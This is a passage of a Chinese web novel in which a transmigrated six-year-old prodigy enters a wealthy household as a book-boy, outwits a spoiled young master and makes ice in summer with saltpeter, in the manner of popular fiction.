周围的乡邻闻言,纷纷投来鄙夷的目光。 王管事却连看都懒得看他一眼。 这位在柳府见惯了风浪的执事,此刻心中正掀起万丈狂澜。 之前,他还只是猜测,这孩子是个难得的读书种子。 可现在,他亲眼见证了一个奇迹。 一个连蒙学都未曾开始的六岁稚童,竟然能自创经典。 而且,还是一篇“达府”级别的传世之作。 才气覆盖一府之地,这是何等概念? 寻常秀才,皓首穷经,能作出一篇“出县”的文章,便足以在县里博得大名。 何止是种子! 这分明是一株已经破土而出,并且绽放出了惊世光华的仙苗! 蒙学未开,便能自创经典。 而且,还是达府级别的经典! 这种事情,别说见了,他听都没听说过! 这样的神童,只要中途不夭折,别说区区一个秀才。 将来封侯拜相,入阁拜相,也并非不可能! 第12章 高冷的少爷 一个聪慧伶俐的书童,和一个未曾蒙学便能自创达府经典的妖孽,这是两个截然不同的概念。 前者,是锦上添花。 后者,已经是天生的读书人了。 读书人在大夏什么地位? 光看自家柳老爷一个举人,在清河县的地位就可见一斑。 更不用说,以卢璘的天赋,说不定能达到更高的品级。 进士?状元?甚至是大儒? 谁也说不准。 这已经不是一笔简单的买卖了。 简直天大的机缘,泼天的富贵降临到柳府。 这要抓不住,和卢家五两银子卖了卢璘有什么区别。 王管事猛地转过身,喊来一个机灵的家丁,声音压得极低。 “你现在就回府,骑最好的马,用最快的速度,把这里发生的所有事情,事无巨细地告诉老爷夫人,他们知道怎么做。” 家丁被王管事态度吓了一跳,也知道事情的严重性,不敢多问,转身就朝马匹跑去。 马蹄声远去,院门口的喧嚣却丝毫未减。 李氏的哭声渐渐低了下去,泪眼婆娑地看着怀里的儿子。 村民们的议论声还在继续。 “老卢家这是祖坟埋错地方了,这么一尊文曲星,说卖就卖了。” “什么叫卖了,你没听见柳家管事说的吗?这是请回去的。” “我看啊,卢家老二以后就等着享福吧,这么有孝心,又是神童,说不定向戏里唱的,给他娘挣个诰命夫人回来。” 这些话语飘进李氏的耳朵里,她却听不真切,只是用粗糙的手,一遍遍抚摸着卢璘的头发。 王管事走上前,对着那名背着药箱的老者微微颔首。 “孙大夫,劳烦您了。” “务必用最好的药,花多少银子都由柳家出,一定要把卢厚兄弟的腿治好。” 孙大夫捋了捋山羊胡,点了点头,径直走向拄着木杖、神情激动的卢厚。 做完这一切,王管事才来到卢璘面前,脸上带笑。 “小官人,你父亲的伤病不用担心,孙大夫是清河县有数的郎中,时辰不早了,咱们该上路了。” 他没有伸手去拉卢璘,而是侧过身,恭敬地做了一个请的手势。 他所指的方向,不是后面那两辆普通的马车。 而是停在最前方,那辆由乌木打造,气派非凡的华贵马车。 卢璘心里一片清明。 很清楚这段时间的策略奏效了。 从立下早慧人设,孝子人设,再到今天画龙点睛的一笔。 一切都顺理成章,一点都不突兀。 刚才那首《游子吟》,更是把形象钉得牢牢的。 尽管书童的起点还没变。 但此书童,已非彼书童了。 最后回头深深地看了一眼自己的父母,卢璘深深地鞠了一躬。 “爹,娘,孩儿走了。” 说完,便毅然转身,迈着小短腿,一步步走向马车。 车夫早已放下脚凳。 卢璘没有多想,一手扶着车厢,小小的身子灵活地爬了上去。 掀开车帘,钻进车厢的瞬间,卢璘脚步却猛地一顿。 车厢里,一个看起来与他年岁相仿的男孩和卢璘眼神瞬间交汇。 两人大眼对小眼,看了好一会。 卢璘才试探性地开口:“少爷?” 同时,更加细致地打量起对方。 一身月白色的锦缎长袍,腰间系着一枚价值不菲的羊脂白玉佩,乌黑的长发用一根碧玉簪高高束起。 粉妆玉砌,唇红齿白。 那张过分精致的小脸上,此刻正带着几分好奇,一双黑白分明的眸子,正一眨不眨地盯着自己。 听到卢璘的问话,对方明显错愕了一下,随即才缓缓点了点头,只是没有开口。 卢璘心里了然,主动开口问道。 “不知少爷如何称呼?” 对方依旧没有说话,只是那双清亮的眸子在卢璘身上扫了个囫囵,脸上却没有半点反应。 其实柳清月的心里,远不像她表面上那么平静。 这就是王叔口中说的孝子神童? 穿着一身洗得发白的旧衣,补丁叠着补丁,眼睛里却看不到一点怯弱和躲闪。 一个连蒙学都未曾开始的六岁稚童,是如何作出达府级别诗作的? 柳清月百思不得其解。 见对方不说话,卢璘在心里默默腹诽了一句。 现在这个年纪的小屁孩,都喜欢扮高冷吗? 不过,模样生得倒是真不错。 就在车厢内的气氛陷入一种微妙的安静时,王管事的声音从车外传来。 “小官人,这位是府上的……” 王管事的话刚说到一半,柳清月一记清冷的眼风便扫了过去。 王管事喉头一梗,后面的话硬生生被他咽了回去。 他脸上瞬间堆起笑容,无比自然地改口。 “这位是府上的少爷,你以后称呼少爷便是。” 正好这时,马车缓缓开始动了起来。 车厢内再度恢复了安静。 卢璘安安静静地坐好,目光却不着痕迹地打量着车厢内的陈设。 很快,他的视线便落在了少爷身旁两侧,那里整齐地堆放着几本书。 最上面一本,书页已经有些卷边,显然是经常翻看的。 封皮上,用一种娟秀的小楷写着几个字。 《清平山志异》。 志异? 看来少爷也是个爱读书的人。 只是并非只读圣贤书,私下里还爱看这些杂书。 这本清平山志异应该和前世聊斋志异差不多,神怪话本之类的。 .......... 与此同时 柳府,清心园。 日头西斜,给园中的亭台楼阁都镀上了一层金边。 柳老爷正端着一盏新茶,慢悠悠地吹着气。 一旁的林氏,手里拿着一本账簿,眉眼间却带着几分烦闷。 就在此时,一道人影连滚带爬地冲进了院子。 “老爷!夫人!” 来人正是王管事派回府的那个家丁。 他跑得太急,胸口剧烈地起伏,一张脸涨得通红。 柳老爷眉头一皱,将茶碗重重地放在石桌上。 “慌慌张张,成何体统!” 林氏也抬起头,放下了手中的账簿,柳眉皱起。 “可是权儿在外面又闯祸了?” 家丁猛地摇头,大口喘着气,好半天才从喉咙里挤出一句完整的话。 “不……不是少爷!” “是……是那个新来的书童,卢璘!” 听到不是惹祸精儿子,林氏稍稍松了口气,随即又有些不解。 一个新来的书童,能出什么事? 家丁强压着激动,将下河村发生的一切,竹筒倒豆子般说了出来。 从卢璘拒绝新衣,言说不敢忘父母生养之恩。 再到他当着全村人的面,对着母亲,吟出那首《游子吟》。 “……慈母手中线,游子身上衣……” “临行密密缝,意恐迟迟归……” 家丁只是复述,声音不自觉地带上了几分哽咽。 “谁言寸草心,报得三春晖!” “老爷,夫人,那首诗一出来,天降才气,金光万道!王管事说,那……那是一首‘达府’级别的自创经典!” 达府! 自创经典! 两个词,如两道惊雷,在清心园中轰然炸响。 第13章 喜欢看爽文是吧! 柳老爷端着茶碗的手一抖,猛然起身。 “自创经典?达府?” “多大来着?” “回老爷,六岁,尚未蒙学。” 尚未蒙学! 柳老爷表情瞬间凝固。 他自己是举人,比谁都清楚,一个未曾开蒙的六岁稚童,自创一首“达府”级别的经典,这意味着什么。 这不是神童。 这是妖孽! 一旁的林氏,同样呆立当场。 她出身书香门第,自然也明白其中的分量。 良久,她才找回自己的声音,痴痴地开口。 “老爷,咱们权儿六岁的时候,在干嘛呢?” 柳老爷也痴痴地回了一句:“在玩牛粪呢!” 回过神来的夫人嘴里又蹦出一句: “这……这是天降的文曲星,落到我们家了!”她一把抓住柳老爷的胳膊,激动得语无伦次。 “老爷!你听见没有!达府啊!他才六岁!” “我们权儿像他这么大的时候,还在玩泥巴呢!” “不行!这样的好苗子,不能当个小小的书童给耽误了!” “我们要请最好的先生!用最好的笔墨纸砚!好好来培养!” “哪怕不姓柳,是我柳家培养的,以后也能成为一桩佳话。”夫人越说越激动。 但柳老爷的脸上此刻却平静了下来。 “你可曾想过,若是养出了一只白眼狼,又该如何?” “白眼狼?老爷,你这是什么意思?” “那孩子一首《游子吟》感天动地,是至纯至孝之人,怎会是白眼狼?” 柳老爷摇了摇头。 “妇人之见。” “诗言志,可人心,却是最难测的东西。” “我们柳家倾尽所有去培养他,待他功成名就,他若念着我们的好,自然是皆大欢喜。” “可他若是不念呢?” “他若觉得这一切都是他应得的,甚至反过头来,成为我们柳家的敌人,你我百年之后,有何面目去见柳家的列祖列宗?” 柳老爷的声音不大,却字字诛心。 林氏被问得哑口无言。 柳老爷轻叹一声,端起那杯已经凉透的茶,抿了一口。 “你可还记得,前朝大儒笔记中记载的那个‘卫托’?” 卫托。 林氏的脸色微微一变。 她出身名门望族,饱读诗书,当然知道这个典故。 说的是一个叫卫托的孩子,五岁便能出口成章,被誉为神童,其父不让他读书,反而日日带着他四处拜访乡绅,换取钱财。 结果,等他十二岁时,已经泯然众人,连一首像样的诗都作不出来了。 一个天纵奇才,就此陨落。 只听柳老爷继续说道。 “天资,是上天的恩赐,也是一道最凶险的考验。” “捧得越高,摔得越重。” “我们现在就把他当成宝贝供起来,人人都捧着他,敬着他,只会让他迷失本心,重蹈卫托的覆辙。” 林氏张了张嘴,想要反驳,却发现自己一个字都说不出来。 半晌后,才不甘心地说道。 “人心都是肉长的。” “我们真心待他十年,他就是块石头,也该被捂热了!” “老爷,你就是心疼那些人脉和资源,舍不得!” “你不肯,我来请!我这就修书一封,让我娘家兄长在京城为他寻一位名师!” 柳老爷看着妻子这副模样,只是摇头。 “我不是舍不得。” “我是不敢赌。” 他站起身,走到林氏身边,轻轻拍了拍她的手背。 “就按原先说好的,让他给权儿当个书童。” “不打压,也不刻意栽培。” “我们就这么静静地看着,看他自己的造化,也看他的心性。” “若他真是那块璞玉,无需我们雕琢,自己也能绽放光华。” “若他心性纯良,知恩图报,我们再倾力相助,也不算晚。” “如此,方是万全之策。” 柳家能有今日的地位,靠的不是一时的冲动,而是步步为营的谨慎。 林氏心里的那团火,终于还是慢慢熄灭了。 “好。” “就依你。” “我们……先看看。” ............... 另一边 马车在柳府门前缓缓停下。 车厢内,卢璘刚准备起身,掀开车帘下车。 一只手却忽然从旁伸出,轻轻拉住了他的衣角。 卢璘好整以暇地转过头,看向身旁这位一路都沉默不语的少爷。 对方终于抬起了那双清亮如水的眸子,紧紧盯着他。 那张粉雕玉琢的小脸上,没有高冷,只剩下急切。 “后文呢?” “孙悟空……他求到长生不老之术了吗?” 这声音一出来,卢璘整个人都愣住了。 这哪是少爷? 分明是位小姐啊。 卢璘心里忍不住腹诽,自己当初看电视剧的时候,最痛恨的就是那些眼瞎的主角,对着女扮男装的角色一口一个兄台。 没想到,自己今天也成了自己最讨厌的模样。 他看着小姐那双写满了好奇与期待的眼睛,心里顿时乐开了花。 喜欢看神鬼志怪是吧。 我就不信听完我孙大圣的故事,你还能忍得住当哑巴。 这可是爽文流的鼻祖,还治不服你一个小丫头。 但卢璘故意装出一副为难的样子,双手一摊。 “后文我也不知道啊。” “我也是听我们村口一个老大爷讲的,他讲到猴子拜师,后面就没了。” “等下次有机会回下河村,我再去听听,要是听到了新的,再告诉你。” 马车上的这一路,卢璘可没闲着。 他见小姐一直在翻看一本《清平山志异》,便投其所好,讲了一小段孙悟空出海寻仙访道的故事。 故事的节奏拿捏得恰到好处,正好在孙悟空历经千辛万苦,终于寻到灵台方寸山,见到菩提老祖之前,戛然而止。 可就是这么撇脚的借口,柳清月居然被忽悠过去。 心里打定了主意,以后定要让这个卢璘经常回家探亲才行。 “王管事,到府了。”外面传来家丁的声音。 柳清月这才松开手,端正坐好,又恢复了那副清冷的模样。 卢璘和柳清月一前一后下了马车。 王管事站在一旁,看着柳府那扇朱漆大门,眉头却皱了起来。 门外冷冷清清,除了几个守门的家丁,再无旁人。 有些不对劲。 明明已经派人快马加鞭,提前回府通知了老爷和夫人。 按理说,老爷夫人怎么也该出来看一眼。 怎么会如此冷清? 第14章 卢璘初入柳府 王管事心里泛起嘀咕,脸上却没有表露分毫,只是侧过身,率先一步踏过门槛。 卢璘跟在王管事身后迈步而入。 一边走,一边用心观察留意一路上所见所闻。 青石板铺就的地面被打磨得光滑如镜,倒映着廊檐下悬挂的八角宫灯。 目之所及,抄手游廊蜿蜒曲折,连接着一座座精致的亭台楼阁。 假山嶙峋,水榭环绕,一草一木都打理得雅致。 时不时有穿着统一青色短打的家丁,或是身着素色衣裙的婢女匆匆走过。 见到王管事,都会立刻停步,躬身行礼。 卢璘全程目不斜视,但余光将周遭的一切尽收眼底。 王管事也在细心地观察着卢璘的反应。 见卢璘没有丝毫初入陌生环境的局促,平静得不像一个六岁的孩子。 王管事心里对卢璘的性子又多了一份认识。 穿过几道月亮门,王管事领着卢璘来到了一处名为“清心园”的院落。 园中,一对身穿锦服的中年男女正坐在石桌旁品茶。 在他们面前,已经站了七八个年岁相仿的男童,个个都穿着新衣裳,但脸上带着紧张与拘束。 王管事上前一步,恭敬地躬身行礼。 “老爷,夫人,这是下河村卢璘,最后一个书童。” 说完,示意卢璘开口问好。 卢璘规规矩矩的行了个礼。 “卢璘见过老爷,夫人。” 柳老爷的目光在卢璘身上停留了不足一息,便淡淡地移开了。 林氏则端起茶碗,用杯盖轻轻撇去浮沫,自始至终,连眼皮都未曾抬一下。 ............ 站在不远处的廊下,两个小婢女正伸着脖子往这边瞧。 其中一个,正是夫人的贴身婢女墨香。 另一个婢女脸蛋圆圆的,带着点婴儿肥。 “墨香姐,哪个是王管事说的那个神童啊?” 婴儿肥婢女兰香小声问道。 墨香努了努嘴,指向那个穿着一身补丁旧衣,却站得最直的卢璘。 “就那个。” “瞧着是挺机灵的,可夫人和老爷怎么一点反应都没有?” 墨香压低了声音。 “你懂什么,老爷和夫人这是在敲打呢,怕他年少得志,失了本心。” “你看吧,待会儿有他好果子吃。” 园子里,林氏终于放下了茶碗,清冷的目光扫过面前的一众孩童,淡淡地开了口。 “老王,跟他们说说府里的规矩吧。” 王管事躬身应是,随即转身面向那群紧张得手心冒汗的孩童。 “进了柳府,就要守柳府的规矩。” “书童分为两种,一种是普通书童,负责洒扫庭院,研墨铺纸,月俸两百文,吃食是杂粮米饭。” “另一种,是贴身书童,随侍少爷左右,月俸三百文,吃食是白粳米。” 此话一出,孩童们眼中顿时露出了不同的神色。 三百文,白粳米。 对于这个连饭都吃不饱的世道,尤其是他们这些农家孩子来说,是想都不敢想的待遇。 王管事顿了顿,目光扫过众人,最后,落在了卢璘身上。 “经老爷夫人定夺,卢璘,为少爷贴身书童。” 话音刚落,一个不和谐的声音便响了起来。 “我不服!” 众人循声望去,只见一个穿着簇新蓝布衫的小胖墩,正满脸不忿地站了出来。 “我爹说我认识三百个大字了!” “凭什么他一个穿得破破烂烂的,能当贴身书童,我就不行?” 小胖墩心里清楚得很。 来之前,他爹千叮咛万嘱咐,一定要争到贴身书童的位置。 否则,那所谓的普通书童,跟府里最低等的下人,又有什么区别。 三百个大字! 这话一出,院子里那几个紧张得手脚都不知道往哪放的孩童,瞬间倒吸一口凉气。 这个年龄的农家娃,能认识自己的名字就已经了不起了。 “三百个?真的假的?” “我爹说,村里的账房先生,也就识得五百个字。” ....... 那小胖墩听到周围的惊叹,胸膛挺得更高了,下巴微微扬起,脸上满是藏不住的洋洋得意。 王管事眉头一皱,正要开口训斥这不懂规矩的胖娃。 “无妨。” 林氏清冷的声音淡淡响起,打断了王管事的话。 她那双保养得宜的凤眼,第一次落在了卢璘身上。 “贴身书童的位置,只有一个。” “你说,该怎么办?” 问题就这么轻飘飘地抛了过来。 就在这时,一个穿着松垮垮的宝蓝色绸衫,头发睡得有些蓬乱的男孩,打着哈欠,睡眼惺忪地从月亮门后晃了出来。 正是柳家的小少爷,柳权。 林氏看到儿子这副模样,眼底刚刚压下去的火气,腾地一下又冒了上来。 狠狠地瞪了一眼坐在一旁的老爷,眼神表达出“一副恨铁不成钢”的意思。 都什么时辰了,才刚起。 柳权揉了揉眼睛,看到院子里站着一堆陌生的小屁孩,顿时不乐意了,小嘴一撇。 “我不要书童!” “我要婢女,要漂漂亮亮,会给我讲故事的婢女!” 林氏的脸色更沉了。 生怕儿子口中再说出什么“啊嗯啊啊”的惊人之语,一记眼刀飞了过去。 “闭嘴!” “再多说一个字,今天的晚饭就别吃了!” 柳权被母亲的眼神吓得一哆嗦,顿时不敢再闹了,只是那张胖乎乎的小脸上,写满了委屈和不高兴。 他嘟着嘴,没好气地扫了一圈面前的孩童。 “哪个是我的书童?” 王管事连忙上前,恭敬地指了指人群中那个最安静的身影。 柳权的目光,落在了卢璘身上。 当时就嘟起了小嘴,满脸的不乐意。 其他人好歹都换上了府里准备的新衣裳,虽然料子普通,但也算干净整洁。 唯独他穿着一身洗得发白,补丁摞着补丁的破旧衣裳,在一群新衣裳里,显得格外刺眼。 想也不想,一根胖乎乎的手指就指向卢璘。 “我不要他!” “他穿得破破烂烂的,跟个小乞丐一样,我才不要小乞丐当我的书童!” 话音刚落,之前那个自称认识三百个字的小胖墩,眼睛瞬间亮了。 他一步迈了出来,脸上堆满了笑。 “少爷,少爷选我!” “我认识好多字,可以陪您读书,还能陪您玩!” 柳权闻言转头看向小胖墩。 虽然穿的也是普通蓝布衫,但胖乎乎的,脸蛋圆滚滚,看着就憨厚老实,比那个瘦巴巴的小乞丐顺眼多了。 柳权顿时觉得这胖墩可爱,当即拍板。 “好,就你了!” 可林氏还在现场,哪有柳权拍板的权利。 “闭嘴!”林氏柳眉倒竖,呵斥了一句。 柳权脖子一缩,立马闭上了嘴,不敢再多言。 林氏这才收回目光,重新看向那个从始至终都未曾有过半分情绪波动的卢璘。 第15章 人靠衣装 一瞬间,所有人的目光都聚焦在了卢璘身上。 有看好戏的,有幸灾乐祸的,也有带着几分担忧的。 小胖墩下巴扬得更高了,眼神里满是挑衅。 少爷柳权则是一脸嫌弃地上下打量着卢璘。 卢璘心里却是一片清明。 心里很清楚这是夫人在称他的斤两。 可赢一个小屁孩,有什么值得炫耀的吗? 若是自己仗着几分小聪明,逞口舌之利,就算争赢了,怕是也会在夫人心里留下一个恃才傲物,心性不稳的印象。 那才是真正的落了下乘。 所以自己要做的,不是出这个风头。 而是表现出与年龄不符的沉稳与恭顺,让上位者觉得他好用,且可控。 想通了这一点,卢璘根本不接招。 他迎着林氏探究的目光,不闪不避,只是微微躬身,将皮球又原封不动地踢了回去。 “全凭夫人做主。” 此言一出,林氏微微一愣,而后凤眼微眯,眼底闪过一丝讶异。 这孩子…… 面对挑衅,不争不抢。 面对抉择,不急不躁。 这份沉稳的心性,哪里像是一个六岁的稚童? 她原以为,一个能作出《游子吟》的神童,必然是心高气傲的,所以才想借机敲打一番,免得他日后失了本心。 可现在看来,自己倒是多虑了。 这孩子的心智,远比她想象的要成熟。 一旁的小胖墩可看不懂这其中的门道。 他见卢璘认怂,脸上那股子喜悦再也藏不住,嘴角都快咧到耳根了。 成了! 这贴身书童的位置,非他莫属了! 就在他以为胜券在握,连以后在少爷面前如何表现都想好了的时候。 林氏那清冷的声音,再度响起,一锤定音。 “定下来的事,岂容轻易更改。” “家有家规,不用多言。” “卢璘,以后你便跟着少爷,同吃同睡。” 同吃同睡! 这四个字,比之前宣布他是贴身书童,分量更重。 小胖墩脸上的笑容瞬间凝固,整个人如遭雷击,呆立当场。 小胖墩急了,张嘴就想反驳。 “夫人……” 可话刚出口,一旁王管事冰冷的目光便扫了过来。 小胖墩激灵灵打了个寒颤,瞬间清醒了过来。 他要是再敢多说一个字,别说贴身书童,怕是连这柳府的大门都待不下去了。 当不了贴身书童,好歹还能在柳家吃饱饭。 要是被赶回家,连饭都吃不饱。 想到这里,他那点不甘心瞬间被恐惧冲得一干二净,脑袋一缩,再也不敢吱声。 院子里最难过的,莫过于柳权。 听到母亲的决定,少爷的小脸顿时垮了下来。 还同吃同睡? 他才不要跟一个小乞丐同吃同睡呢。 而后恶狠狠地瞪了卢璘一眼,就差把“你给我等着”,这话说出口了。 对于少爷的敌意,卢璘连眼皮都未曾抬一下。 一个被宠坏的七岁熊孩子,情绪来得快,去得也快。 对付这种小屁孩,他有的是法子。 更何况,他的目标从来不是和一个孩子争宠。 只要能留在柳家,能接触到这个时代的读书人体系,有机会真正地读书识字,一个贴身书童的身份,已经足够了。 至于其他的,都只是细枝末节。 上首的柳老爷,自始至终都没有开口,甚至没有再多看卢璘一眼,只是端着茶碗,悠然地吹着热气。 让卢璘当贴身书童,本就是早就定下的事。 刚才那一番波折,不过是夫人临时起意,想称一称他的斤两。 卢璘虽然表现得足够沉稳,但这只是开始。 往后的路,还长着。 贴身书童的事敲定后。 林氏眼神扫过卢璘身上那件洗得发白的旧衣。 “既然进了我柳府,就要守柳府的规矩。” “你身上这件,太不像话,别丢了柳家的脸面。”说完,夫人朝着一旁的下人递了个眼色。 一个手脚麻利的家丁立刻捧着一套叠得整整齐齐的新衣裳,快步走了过来。 卢璘被一个下人领到一旁的耳房。 片刻之后,当他重新走出来时,院子里所有人的目光,都下意识地被吸引了过去。 一身天青色的细棉长衫,剪裁得体,衬得他小小的身子愈发挺拔。 之前被宽大的补丁旧衣遮掩住的,是一副远比同龄人要舒展的骨架。 粗布麻衣掩盖了他的灵气,可换上这身干净的衣裳,那股与生俱来的书卷气,便再也藏不住了。 他明明比柳权要小上一岁,可身高却相差无几。 一个粉雕玉琢,却满脸骄横。 一个清秀内敛,眼神沉静。 两人并排站在一起,竟给人一种卢璘才是书香门第中培养出的翩翩小公子的错觉。 不远处的回廊下,两个小婢女正伸着脖子看热闹。 脸蛋圆圆的兰香,忍不住小声惊叹: “墨香姐,这小书童换了身衣裳,跟换了个人似的,可真俊俏。” 墨香的目光在卢璘和自家小少爷身上来回扫了扫,眼神里带着几分古怪。 “可不是嘛。” “你再瞧瞧他跟咱们少爷站一块儿,不知道的,还以为他才是少爷呢。” ........... 老爷和夫人交代完后便自行离去。 下人们也各司其职,很快便散了去。 方才还热闹的院子,转眼间便恢复了宁静。 王管事板着一张脸,走到剩下几个书童面前,绷着脸目光扫过每一个人。 “别以为进了柳府,就能高枕无忧。” “这里是柳家,不是你们撒野的地方。” “这世道,能吃饱饭已是不易。” “往后都给我把皮绷紧了,做事要勤快,对主子要恭敬,要是让我发现谁敢偷奸耍滑……” “柳府不养闲人。” 他话锋一转,看向了所有人。 “还有一条,进了柳府,哪怕是下人,也要读书识字。” “每日都会有专门的时间让你们学习,若是学不好,一样给我滚蛋。” 王管事交代完,便指着小胖墩几人。 “你们几个,跟我来,我带你们去熟悉差事。” 随后目光落在卢璘身上。 “你就留在这里,陪着少爷。” 话音落下,王管事便领着其他人转身离去,脚步声渐行渐远。 偌大的院子里,只剩下卢璘和柳权两个人。 大眼瞪小眼。 第16章 逗弄熊孩子 少爷率先打破了沉默,迈着八字步,绕着卢璘走了一圈,下巴抬得老高。 “你别以为我娘让你当了我的贴身书童,你就能在我面前得意。” 他凑近了些,压低了声音,露出一副自以为凶狠的表情。 “知道吗?我之前的那些先生,有好几个都是被我气走的。” 他挺起小胸膛,脸上写满了骄傲。 “我有的是法子,让你在这里待不下去!” 卢璘静静地看着少爷,差点笑出了声。 这是什么值得炫耀的事吗? 还气走了夫子先生,果然是熊孩子,注意力跟别人都不一样。 “那你事后挨打了吗?” 一句轻飘飘的问话,像一根针,瞬间戳破了少爷鼓起的气球。 脸上的得意僵住了。 少爷有些恼羞成怒地踢开脚边的一颗石子。 “挨打了又怎么样!” “谁家孩子不挨几顿打?” 不过声音明显弱了下去,显然夫人的几顿打让他印象深刻。 卢璘嘴角带笑,点了点头: “那少爷下次再遇到不喜欢的先生,我有办法。” “一个能让他自己乖乖走人,还保证你不会挨打的办法。” 少爷猛地转过头,眼睛瞪得溜圆。 “什么办法?” 卢璘却不说了,只是淡淡一笑。 “到时候,你就知道了。” 不等柳权追问,他便自然地转开了话题。 “不说这个了,你平常一天都做些什么?” 少爷的好奇心被吊得老高,心里痒痒的,可看卢璘的样子,也知道问不出什么。 他撇了撇嘴,带着几分炫耀的口气说道。 “我每天都睡到日上三竿才起来。” “吃完饭就去后花园里逗逗鸟,或者让下人陪我玩投壶。” “下午天气热,就在屋里睡午觉,等太阳下山了再出去玩。” 他说得理所当然,一副神气活现的模样。 卢璘听完,却轻轻摇了摇头。 “你这日子过得,也太无趣了。” “还没我在下河村的时候有意思。” 少爷闻言顿时脸色涨红,这话对他来说,简直是奇耻大辱。 他一个堂堂柳府的少爷,日子过得还不如一个乡下泥腿子? “胡说!” “这天热得跟火炉一样,除了在屋里待着,还能干什么?” “有冰就不热了。” 少爷像是听到了天大的笑话,嗤笑一声。 “你是不是傻了?” “这大夏天的,哪来的冰?” 卢璘迎着他怀疑的目光,一字一句,清晰地说道。 “谁说夏天就不能有冰?” 这话一出,少爷脸上的嘲讽更浓了。 他觉得卢璘脑子肯定是被驴踢了。 夏天制冰? 除非是天上的神仙下凡,否则绝无可能。 “吹牛!” 少爷一蹦三尺高,胖乎乎的手指都快戳到卢璘的鼻尖上。 “你要是能在夏天弄出冰来,我……我就把院子里那块石头给吃了!” 他心里打定了主意,今天非要当众拆穿这个小骗子的谎言,让他颜面扫地。 到时候,自己再去娘亲面前哭闹一番,不愁赶不走这个讨厌的家伙。 想到这里,少爷眼珠子一转,拔腿就往院子外跑。 一边跑,一边扯着嗓子大喊。 “快来看啊!新来的书童疯了!” “他要在大夏天变出冰块来!” 他这一嗓子,中气十足,穿透力极强,半个柳府都听得清清楚楚。 不多时,院子里就聚拢了不少人。 有洒扫的家丁,有路过的婢女,还有那几个刚被分派了活计的普通书童。 所有人都伸长了脖子,交头接耳,一副看热闹的样子。 “夏天制冰?真的假的?” “怕不是个傻子吧,想在主家面前出风头想疯了。” “等着瞧吧,待会儿有他好果子吃。” 议论声中,大小姐柳清月的贴身婢女墨香,提着裙摆,一路小跑着冲进了自家小姐的院子。 “小姐,小姐!出奇事了!” 柳清月正坐在窗边,手里捧着那本《清平山志异》,看得津津有味。 听到墨香咋咋呼呼的声音,她连头都懒得抬。 墨香却顾不上规矩,一口气跑到书桌前,撑着膝盖喘着气。 “小姐,是那个……那个叫卢璘的书童。” “他跟少爷打赌,说能在这大热天里,凭空造出冰来!” 卢璘? 听到这个名字,柳清月的目光,终于从书页上挪开了。 她那双清亮的眸子里,闪过一丝好奇。 凭空造冰? 这倒比话本里的故事,还有趣几分。 她合上书,站起身。 “去看看。” …… 清心园里,人越聚越多。 柳权站在人群最前面,叉着腰,挺着小肚子,下巴抬得老高,活像一只斗胜了的公鸡。 他看到卢璘被众人围在中间,脸上没有丝毫慌乱,心里愈发不爽。 还在装。 待会儿看你怎么收场。 卢璘无视了周围所有的目光,只是平静地看着柳权。 他很清楚少爷打的什么主意,无非是多喊些人,让自己下不来台。 但卢璘一点都不在意,反而觉得是自己在府里站住脚的好机会。 “少爷,人也叫来了。” “咱们的赌约,是不是该说清楚了?” 少爷被这么多人盯着,想也不想地拍着胸脯。 “说!” “你要是真能弄出冰来,以后你说东,我绝不往西!” “你要是弄不出来,就立刻给我卷铺盖滚出柳府!” 他心里的小算盘打得噼啪响。 先满口答应下来。 等这小子当众出了丑,自己再顺水推舟,就能名正言顺地让娘亲换掉这个讨厌的书童了。 卢璘等的就是他这句话。 “好。” “在场各位,都给咱们做个见证。” 然后,他转向少爷,开始有条不紊地吩咐起来。 “找一口大陶缸来,要肚大口小的那种。” “再找一个比缸口小一些的铜盆。” “还有,多打几桶井水,再拿几块干净的麻布和一袋草木灰。” 少爷虽然不信,但为了让卢璘输的心服口服,还是不耐烦地挥了挥手,让下人去照办。 很快,东西都备齐了。 卢璘又看向一个手脚麻利的家丁。 “这位大哥,麻烦你带几个人,去后院那堵朝北的老墙根底下,还有马厩旁边的厕所附近。” “把那些白色或者灰白色的疏松土块,都给我挖过来,越多越好。” 这话一出,全场哗然。 “什么?用墙根的土制冰?” “那地方又脏又臭,挖来的土能干嘛?” “我算是看明白了,这小子根本就是个疯子,在耍着咱们少爷玩呢!” 就连柳清月,好看的眉头都微微蹙了起来。 用那种污秽之物制冰,简直闻所未闻。 第17章 硝石制冰 少爷更是笑得前仰后合,眼泪都快出来了。 “哈哈哈,我当是什么神仙法术,原来是和稀泥啊!” “行,我今天就看看,你怎么用一泡马尿和着泥,给我变出冰来!” 他笑得越大声,就越发觉得卢璘是在故弄玄虚。 家丁们虽然一脸嫌弃,但还是依言而去。 不一会儿,几筐散发着淡淡骚味的白色土块,就被抬了过来。 卢璘对周围的嘲笑和议论充耳不闻。 他心里清楚得很。 这些所谓的污泥,其实是硝石。 在古代,硝石常与土、粪、尿等混合存在于墙角、厕所、马厩等阴暗潮湿处,富含氮和钾,是天然的化合物。 它的晶体在溶解于水时,会吸收大量的热,使周围的温度急剧下降,足以让水结冰。 这在前世,只是初中化学课本上最基础的物理知识。 可在这个时代,却无异于神仙手段。 卢璘指挥着下人,将大陶缸放稳。 然后,他亲自动手,将那个小一些的铜盆,放进了陶缸的正中央。 接着,他拿起铲子,将那些硝石土块,小心翼翼地填入陶缸和铜盆之间的缝隙里,直到填满。 做完这一切,他示意下人。 “倒水。” 冰凉的井水被缓缓注入,慢慢浸润了那些白色的硝石土。 最后,卢璘将另一个更小的铜盆里倒满清水,稳稳地放进大陶缸中央的那个铜盆里。 他拿起干净的麻布,浸湿后,严严实实地盖在了陶缸的口上。 一切准备就绪。 院子里安静了下来。 所有人的目光,都死死地盯着那口平平无奇的大陶缸。 时间,一分一秒地过去。 灼热的日头烤着大地,知了在树上声嘶力竭地叫着。 少爷的脸上,已经露出了不耐烦和得意的神色。 就在他准备开口嘲讽的时候。 卢璘动了。 他走到陶缸前,在万众瞩目之下,缓缓掀开了那块湿麻布。 一股白色的寒气,肉眼可见地从缸口袅袅升起。 院子里的温度,瞬间下降了几分。 “嘶……” 离得近的几个家丁,忍不住倒吸一口凉气。 少爷脸上的笑容一下僵住了。 卢璘没有理会众人的反应,只是平静地伸出小手,探入最里面的那个小铜盆。 片刻之后。 他将手拿了出来。 一块晶莹剔透,冒着丝丝寒气的东西,正静静地躺在他的掌心。 是冰。 货真价实的冰。 院子里的嘈杂与蝉鸣,在这一刻,戛然而止。 针落可闻。 所有人都像是被施了定身法,呆呆地看着卢璘手心里的那块冰,大脑一片空白。 “冰……真的是冰!” 不知是谁,发出了一声梦呓般的惊呼,瞬间点燃了整个院子。 